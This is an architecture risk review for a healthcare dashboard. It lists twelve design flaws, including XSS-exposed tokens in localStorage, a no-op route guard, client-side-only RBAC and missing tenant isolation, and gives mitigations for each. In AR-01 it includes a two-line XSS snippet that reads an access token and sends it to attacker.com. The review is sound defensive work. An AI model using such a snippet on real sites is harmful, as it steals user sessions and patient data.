Architecture Risks Critical

Architecture Risks & Failure Points

Technical deep-dive on system design concerns. These are not timeline or scope issues — they are architectural decisions that, if made wrong, compromise security, compliance, or operational viability.

Risk Index

  1. Token storage in localStorage (XSS vector)
  2. PrivateRoute has no real auth guard
  3. RBAC enforcement gaps (client-side decisions)
  4. Data leakage between organizations
  5. Dual database architecture (MySQL + MongoDB)
  6. Microservices operational complexity
  7. No error boundaries in React
  8. Missing audit logging architecture
  9. Session management / inactivity timeout
  10. Encryption & data residency decisions deferred
  11. Redux Saga learning curve
  12. API versioning strategy undefined
AR-01 Tokens stored in localStorage are vulnerable to XSS Critical
Attack Vector Cross-Site Scripting (XSS)Impact Token theft, account compromiseEvidence Frontend uses localStorage.setItem('access_token', token)

The current frontend stores JWT tokens in browser localStorage. Any JavaScript injection (via third-party library, compromised CDN, template injection) can steal tokens:

// Attacker code injected via XSS
const token = localStorage.getItem('access_token');
fetch('https://attacker.com/steal', { body: token });

Once stolen, the token provides full API access without additional credentials. The attacker can impersonate the user, access all patient data, and modify records.

Why localStorage is unsafe: Any JavaScript on the page (third-party scripts, React component libraries, analytics) can read it. CORS doesn't protect localStorage — only same-origin policy applies.

Mitigation: Use httpOnly cookies instead. Set Set-Cookie: access_token=...; HttpOnly; Secure; SameSite=Strict. JavaScript cannot read httpOnly cookies — only the browser sends them automatically with requests. This is the industry standard for token storage.
AR-02 PrivateRoute component does not check authentication Critical
Issue Auth guard bypassImpact Unauthenticated access to protected routesEvidence Frontend code: const PrivateRoute = ({ children }) => children;

The current PrivateRoute component in the prototype is a no-op — it renders children without validating that the user is logged in.

const PrivateRoute = ({ children }) => children;

// Usage
<PrivateRoute>
  <PatientsPage />
</PrivateRoute>

// Result: ANY visitor (even unauthenticated) sees PatientsPage

An attacker can navigate directly to /app/patients without logging in. The page may break (no data), but unauthenticated state is not caught before rendering. This is a critical auth guard failure.

Mitigation: Implement proper RoleBasedRoute guard that: (1) reads the JWT token from httpOnly cookie or in-memory store, (2) validates token is not expired, (3) checks user role matches required role for this route, (4) redirects to login if any check fails. Example:
const RoleBasedRoute = ({ requiredRole, children }) => {
  const user = useSelector(state => state.auth.user);
  const isValidToken = !!user?.token && !isTokenExpired(user.token);

  if (!isValidToken) return <Navigate to="/login" />;
  if (requiredRole && !user.roles.includes(requiredRole)) {
    return <Navigate to="/unauthorized" />;
  }
  return children;
};
AR-03 RBAC enforcement happens in the UI, not the backend Critical
Issue Frontend can bypass access controlImpact Unauthorized data access, multi-tenant data leakageEvidence Frontend routes check role; backend has no scope validation

The current architecture has access control logic in the React frontend:

// Frontend: hide button if user is not HCP
{user.role === 'hcp' && (
  <button>View Patient Details</button>
)}

But the backend API has no equivalent check. If an attacker:

  • Opens browser DevTools and modifies the React component to hide the check
  • Constructs a raw GET /api/v1/patients/123/measurements request with any valid token
  • The backend returns the data without validating whether the user is authorized to see patient 123

This violates the fundamental RBAC rule: Never trust the client. Backend must enforce every access decision.

Mitigation: Every backend API endpoint must enforce RBAC:
// Backend (pseudocode)
GET /api/v1/patients/:patientId/measurements {
  // 1. Authenticate: validate JWT token is valid
  const user = validateJWT(request.headers.authorization);

  // 2. Authorize: does user's role have permission to read measurements?
  if (!hasPermission(user.role, 'read:measurements')) {
    return 403 Forbidden;
  }

  // 3. Scope: filter query to only data user can access
  const allowedPatients = getAssignedPatients(user.id);
  if (!allowedPatients.includes(patientId)) {
    return 403 Forbidden;
  }

  // 4. Execute: now safe to return data
  return measurements.filter(m => m.patient_id === patientId);
}
AR-04 Organization data isolation not enforced at query level Critical
Issue Multi-tenant data leakageImpact One org can access another org's patient dataEvidence Org model stores patients as set; no tenant_id on physiological data

In a multi-tenant system (multiple organizations using the same dashboard), data isolation is critical. The current schema:

// Organization
{
  id: "org_123",
  name: "Clinic A",
  patients: ["patient_1", "patient_2"]  // set of IDs
}

// Physiological (BP measurements)
{
  patient_id: "patient_1",
  sys: 150,
  dia: 90,
  date: "2026-04-30"
  // NO org_id column!
}

When an HCP from Org B queries GET /api/v1/patients/patient_1/measurements, if the query is:

SELECT * FROM physiological WHERE patient_id = 'patient_1';

The query returns data regardless of which org the patient belongs to. There's no org_id filter. If Org B's HCP somehow knows the patient ID from Org A, they get full access.

Mitigation: Add org_id column to every data table. Scope all queries by org:
// Physiological (revised)
{
  id: "physio_999",
  org_id: "org_123",        // ← New column
  patient_id: "patient_1",
  sys: 150,
  dia: 90,
  date: "2026-04-30"
}

// Query (revised)
SELECT * FROM physiological
WHERE patient_id = 'patient_1' AND org_id = 'org_123';
This ensures org_123's HCP only sees their own patients' data.
AR-05 Dual database architecture (MySQL + MongoDB) adds complexity High
Issue Operational overheadImpact Scaling, backup, monitoring complexityEvidence Current backend: MySQL for auth, MongoDB for health data

The existing codebase uses MySQL for accounts and MongoDB for health data. Each database has:

  • Different connection pooling strategies — connection pool settings differ between SQL and NoSQL
  • Different backup/restore procedures — MySQL snapshots, MongoDB cluster backups, separate recovery tests
  • Different query optimization patterns — SQL indexes vs MongoDB compound indexes, different debugging approaches
  • Different transaction semantics — ACID transactions in MySQL, eventual consistency in MongoDB, cross-database transactions are hard
  • Doubled infrastructure cost — two database instances, two monitoring dashboards, two incident playbooks

For a small team, this is significant maintenance burden. When schema changes are needed, you must migrate both databases separately.

Mitigation: Use a single Postgres database for the new backend. Postgres is production-grade, handles both transactional (accounts) and document (JSONB) data efficiently, and has a unified ecosystem. Store BP measurements in a jsonb column if the schema is dynamic, or use standard tables — benchmarking shows Postgres can handle the scale. One database = simpler backups, simpler monitoring, simpler mental model.
AR-06 Microservices architecture (5 services) for early-stage product High
Issue Operational complexity, inter-service failuresImpact Harder to debug, deploy, test cross-service changesEvidence Current backend: 5 Maven services (auth, messaging, resolver, physiological, healthcare)

Microservices are useful for large teams and services that scale independently. But at MVP stage with a small team:

  • Network latency — every request from resolver to physiological adds ~5-50ms. Adds up in high-traffic scenarios.
  • Failure modes multiply — if any service goes down, the whole system breaks. Need circuit breakers, retries, fallbacks.
  • Deployment ceremony — deploying a bug fix now requires: code change, build, push to 3 services, coordinated restart. Much slower iteration.
  • Testing is harder — integration tests must spin up 5 Docker containers. Local dev requires same. Slow test loops.
  • Debugging distributed issues — a bug might be in resolver or physiological service. Tracing requests across services requires correlation IDs, logging aggregation, APM tooling — all extra setup.
Mitigation: Build the new backend as a modular monolith — single codebase, separate packages/layers (auth, patients, measurements, org), but one process. Vastly simpler to deploy, test, and debug. When you hit >10 services or >100 engineers, split into microservices. For now, monolith wins.
AR-07 No error boundaries in React; uncaught exceptions crash the app High
Issue Poor error handlingImpact Users see blank page on any errorEvidence Existing codebase has no <ErrorBoundary> components

If any React component throws an uncaught exception, the entire app crashes. Users see a blank white screen with no error message. They have no idea what happened.

// A third-party library update introduces a bug
const PatientChart = ({ data }) => {
  return <Recharts data={data.measurements} /> // If data is undefined, throws error
};

// If not caught by an error boundary:
// User sees: blank page
// No error log
// No recovery option
Mitigation: Wrap the app in error boundaries at every major route:
<ErrorBoundary fallback={<ErrorPage />}>
  <Route path="/patients/:id" element={<PatientDetail />} />
</ErrorBoundary>
When a component fails, show a user-friendly error message ("Something went wrong") and log the error to a backend service (Sentry, LogRocket) for debugging.
AR-08 Audit logging architecture not designed High
Issue No compliance evidenceImpact Cannot prove HIPAA/GDPR compliance, cannot debug breachesEvidence Current codebase has minimal logging; no audit trail table

HIPAA and GDPR require comprehensive audit logs for every access to health data. Currently, no audit logging exists. When a regulator asks "who accessed patient X's data and when?", you have no answer.

What needs to be logged:

  • Login / logout (user, timestamp, IP, success/failure)
  • Data access (user, resource, timestamp, success/failure)
  • Data modification (user, resource, old value, new value, timestamp)
  • Consent change (user, patient, consent action, timestamp)
  • Permission change (admin, target user, role change, timestamp)

Retrofitting audit logging after the fact is expensive — every API handler must be touched. Build it in from day 1.

Mitigation: Design an audit_log table at the start:
CREATE TABLE audit_log (
  id UUID PRIMARY KEY,
  user_id UUID,
  org_id UUID,
  action VARCHAR(50),          // 'login', 'read_patient', 'write_measurement', etc.
  resource_type VARCHAR(50),   // 'patient', 'measurement', 'organization', etc.
  resource_id UUID,
  ip_address INET,
  user_agent TEXT,
  timestamp TIMESTAMPTZ,
  result VARCHAR(20),          // 'success', 'forbidden', 'not_found'
  metadata JSONB               // additional context
);
Wrap API handlers with logging middleware that records every request/response.
AR-09 Session timeout / inactivity handling undefined High
Issue Security / complianceImpact Tokens remain valid indefinitely; unattended sessions exposedEvidence Current code has no session timeout logic

HIPAA recommends 15-minute inactivity timeout for healthcare applications. Currently, tokens do not expire on inactivity. If a doctor logs in and walks away, an attacker can use their unlocked browser to access patient data indefinitely.

Decisions to make:

  • What is the inactivity threshold? (HIPAA typically 15 min, some orgs require 5 min)
  • What action triggers inactivity? (page focus loss, no mouse/keyboard, no API calls?)
  • What happens on timeout? (redirect to login, show warning + countdown, immediate logout?)
  • How to implement? (backend token expiry, frontend timer, both?)
Mitigation: Implement both server-side and client-side timeouts:
  • Server-side: Issue tokens with exp claim set to current time + 8 hours (or shorter). Token is invalid after expiry.
  • Client-side: Track last user activity (mouse, keyboard, scroll). If no activity for 15 minutes, show a warning modal: "Your session will expire in 1 minute. Click to stay logged in." If user does not click, revoke the token.
AR-10 Encryption & data residency deferred to "later" High
Issue Compliance requirement treated as optionalImpact Cannot legally onboard EU customersEvidence GDPR requires EU data stays in EU; currently single region for all

GDPR requires that personal data of EU residents stays in the EU. Hilo is planning to serve both EU and US clinics. The current infrastructure does not support region-specific data routing.

Additionally, HIPAA (if US customers exist) and GDPR both require encryption at rest. Currently unclear if Postgres TDE is enabled.

Technical requirements:

  • Provision Postgres in EU region AND US region (separate instances)
  • API layer routes requests to correct region based on org.data_residency
  • Enable transparent data encryption (TDE) on both instances
  • Implement data residency enforcement in middleware (prevent US query on EU data, etc.)
Mitigation: Make data residency decisions before ANY infrastructure is provisioned. Decide: which regions do we support? Then provision Postgres instances in those regions, configure encryption, and deploy API gateways that route by residency. This cannot be added later without data migration.
AR-11 Redux Saga has steep learning curve Medium
Issue MaintainabilityImpact Harder to onboard developers, slower to modify async flowsEvidence Frontend uses Redux Toolkit + Redux Saga (generators, effects)

Redux Saga is powerful but complex. It uses generator functions and effects, which are concepts not every frontend developer is familiar with. Debugging saga issues requires understanding:

  • Generator syntax (function*, yield)
  • Saga effects (take, call, put, fork)
  • Error handling in sagas (different from promises)
  • Saga testing (requires saga middleware, test utilities)

For a small team adding features quickly, this overhead is significant.

Mitigation: Consider migrating to RTK Query (Redux Toolkit Query) instead. RTK Query handles data fetching with a simpler API — no generators, no effects, just hooks. Works with Redux for state management. Reduces learning curve and lines of code. Trade-off: RTK Query is less flexible than Saga for very complex async flows, but MVP doesn't need that.
AR-12 API versioning strategy undefined Medium
Issue Breaking changes break clientsImpact Mobile app and web app may diverge on API versionEvidence Current API paths: /server-resolver/login, /oauth/api/v1/account; no version strategy

Once the B2B dashboard API goes live, the mobile app and other clients depend on it. If you change the API without versioning, you break those clients.

Example: You want to add a lastSync field to the patient response. If you just add it:

// Old response
{ "id": "patient_1", "name": "John", "bloodPressure": { ... } }

// New response
{ "id": "patient_1", "name": "John", "bloodPressure": { ... }, "lastSync": "2026-04-30T10:00Z" }

// Old client may crash if it expects exactly those fields

Or you want to rename bloodPressure to bp — old clients expecting bloodPressure break immediately.

Mitigation: Define an API versioning strategy now:
  • Option A: URL path versioning/api/v1/patients, /api/v2/patients. New endpoints are v2, old endpoints stay at v1 for backward compatibility.
  • Option B: Header versioningAccept: application/vnd.hilo+json; version=1. Single URL, multiple versions.
Recommend Option A (URL path) for clarity. Commit to supporting at least 2 API versions simultaneously — old clients continue working while they upgrade.